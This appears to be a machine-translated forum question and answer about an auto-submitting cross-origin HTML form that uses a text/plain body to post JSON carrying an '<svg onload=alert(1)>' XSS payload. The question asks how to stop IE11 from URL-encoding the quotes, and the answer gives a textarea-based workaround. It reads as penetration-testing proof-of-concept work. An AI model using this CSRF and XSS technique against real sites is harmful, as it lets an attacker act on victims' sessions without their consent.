即使我使用enctype =“ text / plain”,IE11.2848也会对表单主体进行编码。
<body>
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit()</script>
</body>
IE发出的请求:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]
{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}
Chrome发出的请求:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]
{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}
如何避免IE11中“名称”属性的双引号的url编码?
此请求应从其他域发送,因此application / json不是一个选项,因为它需要预检请求。
答案 0 :(得分:0)
如果使用<textarea>
而不是<input>
,则网址编码不适用:
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<textarea name='{"<svg onload=alert(1)>":"'>"}</textarea>
</form>